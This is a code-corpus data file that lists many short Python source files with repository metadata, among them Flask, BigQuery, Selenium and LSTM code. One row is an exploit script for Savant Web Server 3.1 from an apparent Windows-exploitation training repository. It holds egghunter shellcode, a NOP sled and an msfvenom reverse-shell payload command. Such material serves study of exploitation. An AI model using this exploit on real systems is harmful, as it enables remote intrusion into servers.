def test_parse_standard_allel... | 43.642857 | 79 | 0.725041 | 204 | 1,222 | 3.941176 | 0.132353 | 0.05597 | 0.093284 | 0.404229 | 0.804726 | 0.804726 | 0.731343 | 0.686567 | 0.610697 | 0.5 | 0 | 0.100092 | 0.108838 | 1,222 | 28 | 80 | 43.642857 | 0.6382 | 0 | 0 | 0.095238 | 0 | 0 | 0.116108 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
ecf61505d3dfa2f5ad830a3319485461b9fba36c | 126 | py | Python | wsgi.py | pie1011/planner | 5a57fe524cda8a8d685979677bd0b9d8a5339b09 | [
"Unlicense",
"MIT"
] | null | null | null | wsgi.py | pie1011/planner | 5a57fe524cda8a8d685979677bd0b9d8a5339b09 | [
"Unlicense",
"MIT"
] | null | null | null | wsgi.py | pie1011/planner | 5a57fe524cda8a8d685979677bd0b9d8a5339b09 | [
"Unlicense",
"MIT"
] | null | null | null | from venv import create
from dotenv import load_dotenv
from root.factory import create_app
load_dotenv()
app = create_app()
| 15.75 | 35 | 0.809524 | 20 | 126 | 4.9 | 0.45 | 0.244898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 126 | 7 | 36 | 18 | 0.907407 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
a618211732c43956e9da94fb24548b591e9ebef1 | 122 | py | Python | tumbler/fingerprints.py | openmechanics/fakeport | 52118b05db0ba216133ddcad5c732baa0efb7799 | [
"MIT"
] | 1 | 2018-06-15T04:05:00.000Z | 2018-06-15T04:05:00.000Z | tumbler/fingerprints.py | openmechanics/fakeport | 52118b05db0ba216133ddcad5c732baa0efb7799 | [
"MIT"
] | null | null | null | tumbler/fingerprints.py | openmechanics/fakeport | 52118b05db0ba216133ddcad5c732baa0efb7799 | [
"MIT"
] | null | null | null | TOYOTA.RAV4: [{
244: 8, 245: 8, 246: 8, 247: 8, 248: 8, 249: 8, 250: 8, 251: 8, 252: 8, 253: 8, 254: 8, 1279: 8
}],
| 30.5 | 99 | 0.483607 | 26 | 122 | 2.269231 | 0.576923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.561798 | 0.270492 | 122 | 3 | 100 | 40.666667 | 0.101124 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
a63204d03cf34a952cfd58e918e2a19a71ccc625 | 63 | py | Python | run.py | Strangemother/coffee | e5ee7a62e3cb0fc5d4638decaded9905bf3cae74 | [
"MIT"
] | null | null | null | run.py | Strangemother/coffee | e5ee7a62e3cb0fc5d4638decaded9905bf3cae74 | [
"MIT"
] | null | null | null | run.py | Strangemother/coffee | e5ee7a62e3cb0fc5d4638decaded9905bf3cae74 | [
"MIT"
] | null | null | null | import os
os.system('python manage.py runserver 0.0.0.0:8008')
| 21 | 52 | 0.746032 | 13 | 63 | 3.615385 | 0.692308 | 0.12766 | 0.12766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140351 | 0.095238 | 63 | 2 | 53 | 31.5 | 0.684211 | 0 | 0 | 0 | 0 | 0 | 0.619048 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a65c4d93571bd2390799e437af8d0c5a930cc431 | 557 | py | Python | locators/locators.py | ElenaUS/automation | 9f1b948590dae5fcc1a2ad247961e92b99d7a88d | [
"Apache-2.0"
] | null | null | null | locators/locators.py | ElenaUS/automation | 9f1b948590dae5fcc1a2ad247961e92b99d7a88d | [
"Apache-2.0"
] | null | null | null | locators/locators.py | ElenaUS/automation | 9f1b948590dae5fcc1a2ad247961e92b99d7a88d | [
"Apache-2.0"
] | null | null | null |
class Page:
def __init__(browser, fix, driver):
browser.fix = fix
browser.driver = driver
def find_element(browser, *locator):
return browser.fix.driver.find_element(*locator)
def find_elements(browser, *locator):
return browser.fix.driver.find_elements(*locator)
def ... | 26.52381 | 57 | 0.639138 | 68 | 557 | 5.073529 | 0.264706 | 0.173913 | 0.231884 | 0.231884 | 0.550725 | 0.550725 | 0.510145 | 0.278261 | 0.278261 | 0.278261 | 0 | 0 | 0.24237 | 557 | 20 | 58 | 27.85 | 0.817536 | 0 | 0 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.133333 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
a67cb0f3ac23d5240c3746ff63b1bca270ff76f8 | 101 | py | Python | setup.py | cooperbrindle/marketStack | bc805813343b26e1770c710ab088c24f671c029e | [
"MIT"
] | null | null | null | setup.py | cooperbrindle/marketStack | bc805813343b26e1770c710ab088c24f671c029e | [
"MIT"
] | 5 | 2021-05-03T02:08:39.000Z | 2021-05-03T12:48:11.000Z | setup.py | cooperbrindle/marketStack | bc805813343b26e1770c710ab088c24f671c029e | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
setup(name="markettradingsim", packages=find_packages()) | 33.666667 | 56 | 0.831683 | 12 | 101 | 6.833333 | 0.666667 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069307 | 101 | 3 | 56 | 33.666667 | 0.87234 | 0 | 0 | 0 | 0 | 0 | 0.156863 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a6c2e81174ce5be69e00cd9955abc7da2740d388 | 2,504 | py | Python | 3-egghunters/savant-web-server-3.1/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | 3-egghunters/savant-web-server-3.1/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | 3-egghunters/savant-web-server-3.1/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from pwn import *
nops = b'\x90' * 8
island_hop = b'\x31\xc0\x85\xc0\x0f\x84\x11' # xor eax, eax; test eax, eax; je 0x17
egghunter = b'f\x81\xca\xff\x0fBRj\x02X\xcd.<\x05Zt\xef\xb8w00t\x89\xd7\xafu\xea\xafu\xe7\xff\xe7'
# msfvenom -p windows/shell_reverse_tcp -b '\x00\x0a\0d' -f py LHOST=19... | 46.37037 | 99 | 0.696885 | 519 | 2,504 | 3.354528 | 0.495183 | 0.160827 | 0.010339 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.214994 | 0.073083 | 2,504 | 53 | 100 | 47.245283 | 0.535114 | 0.065895 | 0 | 0 | 0 | 0.682927 | 0.668809 | 0.6491 | 0 | 1 | 0.003428 | 0 | 0 | 1 | 0 | false | 0 | 0.02439 | 0 | 0.02439 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
a6c6ce8695481b1f8429445e47ca223b44d5b834 | 105 | py | Python | app/model/Admin.py | tmarlok88/wedding-rsvp | ce754fccfcf33e9b89c641d22c13b1b4adc2f9d5 | [
"Beerware"
] | 1 | 2021-04-16T09:02:45.000Z | 2021-04-16T09:02:45.000Z | app/model/Admin.py | tmarlok88/wedding-rsvp | ce754fccfcf33e9b89c641d22c13b1b4adc2f9d5 | [
"Beerware"
] | null | null | null | app/model/Admin.py | tmarlok88/wedding-rsvp | ce754fccfcf33e9b89c641d22c13b1b4adc2f9d5 | [
"Beerware"
] | null | null | null | from flask_login import UserMixin
class Admin(UserMixin):
def get_id(self):
return "admin"
| 15 | 33 | 0.695238 | 14 | 105 | 5.071429 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.228571 | 105 | 6 | 34 | 17.5 | 0.876543 | 0 | 0 | 0 | 0 | 0 | 0.047619 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
a6db25bbc23f2c9acaaf6b57d5a7f4d18bdb4d1c | 187 | py | Python | vi_bag_tools/python/vbt/__init__.py | VIS4ROB-lab/vi_bag_tools | 44f528f60aa39d4f829b924f38f88ad3dbd6c1e2 | [
"BSD-4-Clause"
] | 2 | 2019-05-27T02:45:28.000Z | 2020-10-17T21:42:31.000Z | vi_bag_tools/python/vbt/__init__.py | VIS4ROB-lab/vi_bag_tools | 44f528f60aa39d4f829b924f38f88ad3dbd6c1e2 | [
"BSD-4-Clause"
] | null | null | null | vi_bag_tools/python/vbt/__init__.py | VIS4ROB-lab/vi_bag_tools | 44f528f60aa39d4f829b924f38f88ad3dbd6c1e2 | [
"BSD-4-Clause"
] | 1 | 2019-05-27T02:45:29.000Z | 2019-05-27T02:45:29.000Z | # Import the numpy to Eigen type conversion.
import numpy_eigen
from ImageDatasetReader import *
from ImuDatasetReader import *
from OdometryDatasetReader import *
from Progress import *
| 26.714286 | 44 | 0.828877 | 22 | 187 | 7 | 0.545455 | 0.194805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139037 | 187 | 6 | 45 | 31.166667 | 0.956522 | 0.224599 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
a6f1134d57d89a13f2df46da96c02ba842661699 | 112 | py | Python | conf/WideDeepModelConfig.py | liangxiao940517/DeepCTRModel | 80795bc4043cee9bca8f54d5b023b4679b4e4248 | [
"Apache-2.0"
] | 4 | 2021-01-08T09:46:03.000Z | 2021-07-23T01:59:38.000Z | conf/WideDeepModelConfig.py | liangxiao940517/DeepCTRModel | 80795bc4043cee9bca8f54d5b023b4679b4e4248 | [
"Apache-2.0"
] | null | null | null | conf/WideDeepModelConfig.py | liangxiao940517/DeepCTRModel | 80795bc4043cee9bca8f54d5b023b4679b4e4248 | [
"Apache-2.0"
] | 3 | 2021-02-11T01:28:45.000Z | 2022-03-08T14:25:35.000Z | from conf.BasicModelConfig import BasicModelConfig
class WideDeepModelConfig(BasicModelConfig):
# NETWORK
| 18.666667 | 50 | 0.830357 | 9 | 112 | 10.333333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 112 | 5 | 51 | 22.4 | 0.94898 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.5 | null | null | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
470df2045ad4794c79dbac36070b4ee61506c5e1 | 56 | py | Python | neptune_resolver_rest/__init__.py | Yurzs/neptune-resolver-rest | 2b3fe3b4f55151f10c4eb5b4030cb044adf99836 | [
"MIT"
] | null | null | null | neptune_resolver_rest/__init__.py | Yurzs/neptune-resolver-rest | 2b3fe3b4f55151f10c4eb5b4030cb044adf99836 | [
"MIT"
] | null | null | null | neptune_resolver_rest/__init__.py | Yurzs/neptune-resolver-rest | 2b3fe3b4f55151f10c4eb5b4030cb044adf99836 | [
"MIT"
] | null | null | null | from .connect import Connection
from .resolver import *
| 18.666667 | 31 | 0.803571 | 7 | 56 | 6.428571 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 56 | 2 | 32 | 28 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
5b45180932f70f3c1f665ec957845e00054fb0b7 | 38 | py | Python | pandahub/test/__init__.py | e2nIEE/pandahub | 4d4abb29f49d32d035120ebea99fb96ba3d44bfc | [
"BSD-3-Clause"
] | 4 | 2022-03-29T08:19:08.000Z | 2022-03-30T06:51:24.000Z | pandahub/test/__init__.py | e2nIEE/pandahub | 4d4abb29f49d32d035120ebea99fb96ba3d44bfc | [
"BSD-3-Clause"
] | null | null | null | pandahub/test/__init__.py | e2nIEE/pandahub | 4d4abb29f49d32d035120ebea99fb96ba3d44bfc | [
"BSD-3-Clause"
] | null | null | null | """Unit test package for pandahub."""
| 19 | 37 | 0.684211 | 5 | 38 | 5.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131579 | 38 | 1 | 38 | 38 | 0.787879 | 0.815789 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
5bc9ab85105daa443f65e5c62b305b2ca4230026 | 151 | py | Python | bag/admin.py | josygeorge/django-milestone-project | 4a9c5b19c3c0343959c124997429629ffad98ab4 | [
"Unlicense"
] | null | null | null | bag/admin.py | josygeorge/django-milestone-project | 4a9c5b19c3c0343959c124997429629ffad98ab4 | [
"Unlicense"
] | null | null | null | bag/admin.py | josygeorge/django-milestone-project | 4a9c5b19c3c0343959c124997429629ffad98ab4 | [
"Unlicense"
] | null | null | null | from django.contrib import admin
from .models import Bag, BagItem
# Register your models here.
admin.site.register(Bag)
admin.site.register(BagItem)
| 18.875 | 32 | 0.794702 | 22 | 151 | 5.454545 | 0.545455 | 0.15 | 0.283333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119205 | 151 | 7 | 33 | 21.571429 | 0.902256 | 0.172185 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
5bd0f687932fc85f39bdd323b6edee3d0aaf2c8a | 113 | py | Python | Demos/Module7/modules_start.py | smalik48/PythonEssentialsApr19 | 86c42af7d7bccee70bb728129f9935f7b7dc5a6f | [
"MIT"
] | null | null | null | Demos/Module7/modules_start.py | smalik48/PythonEssentialsApr19 | 86c42af7d7bccee70bb728129f9935f7b7dc5a6f | [
"MIT"
] | null | null | null | Demos/Module7/modules_start.py | smalik48/PythonEssentialsApr19 | 86c42af7d7bccee70bb728129f9935f7b7dc5a6f | [
"MIT"
] | 4 | 2021-04-19T13:40:38.000Z | 2021-04-19T19:28:01.000Z | # import the math module
import math
print("The square root of 16 is", math.sqrt(16))
print("Pi is:", math.pi) | 18.833333 | 48 | 0.690265 | 21 | 113 | 3.714286 | 0.571429 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042553 | 0.168142 | 113 | 6 | 49 | 18.833333 | 0.787234 | 0.19469 | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 5 |
75137c032dfc742c66a80e5ac94fe46dc479778b | 1,675 | py | Python | datawarehouse/bigquery/bigquery_wrapper.py | juanitodread/message-queue-poc | 81d1d36f5fb792cc4ac0082d0b3dbaa76e022d4d | [
"MIT"
] | null | null | null | datawarehouse/bigquery/bigquery_wrapper.py | juanitodread/message-queue-poc | 81d1d36f5fb792cc4ac0082d0b3dbaa76e022d4d | [
"MIT"
] | 1 | 2021-02-08T20:20:20.000Z | 2021-02-08T20:20:20.000Z | datawarehouse/bigquery/bigquery_wrapper.py | juanitodread/message-queue-poc | 81d1d36f5fb792cc4ac0082d0b3dbaa76e022d4d | [
"MIT"
] | null | null | null | from bigquery import get_client
class BigQueryWrapper:
def __init__(self, account_token_file):
self._bigquery_client = get_client(
json_key_file=account_token_file,
readonly=True
)
def get_datasets(self):
return self._bigquery_client.get_datasets()
def get... | 32.843137 | 78 | 0.718209 | 215 | 1,675 | 5.167442 | 0.190698 | 0.158416 | 0.210621 | 0.216022 | 0.556256 | 0.324932 | 0.208821 | 0.138614 | 0.138614 | 0.09541 | 0 | 0 | 0.207164 | 1,675 | 50 | 79 | 33.5 | 0.836596 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.342857 | false | 0 | 0.028571 | 0.257143 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
7514c6d9ab0852a405084677f09305afc0323153 | 174 | py | Python | RL_projects/test/id_same_test.py | HoBeom/deep-person-reid | 5ca1eedb326e6bfdf083c29ec6e5ce6ab95ee0e7 | [
"MIT"
] | null | null | null | RL_projects/test/id_same_test.py | HoBeom/deep-person-reid | 5ca1eedb326e6bfdf083c29ec6e5ce6ab95ee0e7 | [
"MIT"
] | null | null | null | RL_projects/test/id_same_test.py | HoBeom/deep-person-reid | 5ca1eedb326e6bfdf083c29ec6e5ce6ab95ee0e7 | [
"MIT"
] | null | null | null | import numpy as np
a = np.load('all_avg_feature/train_pids.npy')
b = np.load('../reid_gym/frist_16_feature/train_pids.npy')
print(a.shape)
print(b.shape)
print((a==b).all()) | 24.857143 | 58 | 0.724138 | 34 | 174 | 3.5 | 0.558824 | 0.10084 | 0.268908 | 0.319328 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012422 | 0.074713 | 174 | 7 | 59 | 24.857143 | 0.726708 | 0 | 0 | 0 | 0 | 0 | 0.417143 | 0.417143 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.5 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
755f5fe25c2b417e2a5ac27c98a3022f0da87a3f | 212 | py | Python | Exercicios/4 - Sort List.py | gednt/Python-Projects | 45a6dd160b7ec2d1bb2a7aa1289802dc294e1a3d | [
"MIT"
] | null | null | null | Exercicios/4 - Sort List.py | gednt/Python-Projects | 45a6dd160b7ec2d1bb2a7aa1289802dc294e1a3d | [
"MIT"
] | null | null | null | Exercicios/4 - Sort List.py | gednt/Python-Projects | 45a6dd160b7ec2d1bb2a7aa1289802dc294e1a3d | [
"MIT"
] | null | null | null | lista = [];
lista.append(float(input("Digite o primeiro elemento")));
lista.append(float(input("Digite o segundo elemento")));
lista.append(float(input("Digite o terceiro elemento")));
lista.sort();
print(lista)
| 30.285714 | 57 | 0.731132 | 29 | 212 | 5.344828 | 0.413793 | 0.212903 | 0.309677 | 0.406452 | 0.645161 | 0.645161 | 0.464516 | 0 | 0 | 0 | 0 | 0 | 0.080189 | 212 | 6 | 58 | 35.333333 | 0.794872 | 0 | 0 | 0 | 0 | 0 | 0.363208 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
f3ca9bd928e04f1a4f651e74e7c375152eb5afd7 | 52 | py | Python | database/covid19_data_aggregator/john_hopkins/__init__.py | rpgraham84/covid19 | a94c904af7db6305bed708eda7deec2d5c450728 | [
"MIT"
] | 33 | 2020-03-11T00:42:28.000Z | 2020-08-25T20:01:42.000Z | database/covid19_data_aggregator/john_hopkins/__init__.py | rpgraham84/covid19 | a94c904af7db6305bed708eda7deec2d5c450728 | [
"MIT"
] | 17 | 2020-03-11T01:15:43.000Z | 2020-03-25T17:33:01.000Z | database/covid19_data_aggregator/john_hopkins/__init__.py | rpgraham84/covid19 | a94c904af7db6305bed708eda7deec2d5c450728 | [
"MIT"
] | 23 | 2020-03-11T06:07:03.000Z | 2020-04-20T21:58:20.000Z | from .aggregate_johns_hopkins_uni_csse_data import * | 52 | 52 | 0.903846 | 8 | 52 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057692 | 52 | 1 | 52 | 52 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
f3ca9de29d9a87fe6f4269d23be0409f4e1ed421 | 13,765 | py | Python | code/LSTM/lstm.py | sanketkalwar/LSTM | 18a2fbbd6af4aac5c9d87c341276b6411d020eaf | [
"MIT"
] | 1 | 2020-02-08T19:21:35.000Z | 2020-02-08T19:21:35.000Z | code/LSTM/lstm.py | sanketkalwar/LSTM | 18a2fbbd6af4aac5c9d87c341276b6411d020eaf | [
"MIT"
] | null | null | null | code/LSTM/lstm.py | sanketkalwar/LSTM | 18a2fbbd6af4aac5c9d87c341276b6411d020eaf | [
"MIT"
] | null | null | null | import numpy as np
from utils import sigmoid,softmax
from dataloader import idx_to_char,char_to_idx,dataset
class LSTM(object):
def __init__(self,lr=1e-1,time_steps=25,len_of_vocab=25,mean=0.,std=0.01,mode='lstm'):
self.input = None
self.output = None
self.lr = lr
self.time_steps =... | 45.57947 | 239 | 0.525027 | 2,210 | 13,765 | 3.1 | 0.067421 | 0.070063 | 0.140126 | 0.192089 | 0.767333 | 0.749088 | 0.744125 | 0.7396 | 0.690702 | 0.674938 | 0 | 0.011079 | 0.311515 | 13,765 | 302 | 240 | 45.57947 | 0.711829 | 0.00247 | 0 | 0.588235 | 0 | 0 | 0.001894 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033613 | false | 0 | 0.012605 | 0 | 0.058824 | 0.004202 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
340922d80485af3791fb1147523e49a15758c923 | 536 | py | Python | mage/api_resources/abstract/__init__.py | Stage2Sec/magepy | 166975d402fe6d34a8a39fe9ce10c50712885b8d | [
"MIT"
] | null | null | null | mage/api_resources/abstract/__init__.py | Stage2Sec/magepy | 166975d402fe6d34a8a39fe9ce10c50712885b8d | [
"MIT"
] | null | null | null | mage/api_resources/abstract/__init__.py | Stage2Sec/magepy | 166975d402fe6d34a8a39fe9ce10c50712885b8d | [
"MIT"
] | null | null | null | from mage.api_resources.abstract.data_api_resource import DataAPIResource
from mage.api_resources.abstract.filterable_api_resource import Filter
from mage.api_resources.abstract.filterable_api_resource import FilterableAPIResource
from mage.api_resources.abstract.listable_api_resource import ListableAPIResource
from ma... | 67 | 85 | 0.908582 | 71 | 536 | 6.549296 | 0.309859 | 0.12043 | 0.165591 | 0.301075 | 0.645161 | 0.464516 | 0.464516 | 0.464516 | 0.464516 | 0 | 0 | 0 | 0.052239 | 536 | 7 | 86 | 76.571429 | 0.915354 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
3416738d25b02e3651dae28c7ebcc1a3aefba259 | 69 | py | Python | game/__init__.py | StepNeverStop/ConnectSix | 51223823e3523cacd95b8866001f0653d655c986 | [
"MIT"
] | 4 | 2019-09-11T13:25:48.000Z | 2021-07-08T13:04:47.000Z | game/__init__.py | StepNeverStop/ConnectSix | 51223823e3523cacd95b8866001f0653d655c986 | [
"MIT"
] | null | null | null | game/__init__.py | StepNeverStop/ConnectSix | 51223823e3523cacd95b8866001f0653d655c986 | [
"MIT"
] | 3 | 2019-09-17T11:25:27.000Z | 2019-11-06T15:49:44.000Z | from .connect6 import Connect6
